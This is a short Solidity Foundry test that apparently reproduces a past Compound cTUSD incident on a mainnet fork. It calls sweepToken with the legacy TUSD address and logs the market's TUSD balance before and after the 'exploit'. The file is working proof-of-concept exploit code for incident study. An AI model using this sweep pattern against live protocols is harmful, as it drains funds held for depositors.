CompoundTusd_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

contract ContractTest is DSTest {
  ICErc20Delegate cTUSD =
    ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);
  IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);
  address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;
  CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  function setUp() public {
    cheats.createSelectFork("mainnet", 14266479); // fork mainnet at block 14266479
  }

  function testExample() public {
    emit log_named_uint(
      "Before exploit, Compound TUSD balance:",
      tusd.balanceOf(address(cTUSD))
    );
    cTUSD.sweepToken(tusdLegacy);
    emit log_named_uint(
      "After exploit, Compound TUSD balance:",
      tusd.balanceOf(address(cTUSD))
    );
  }
}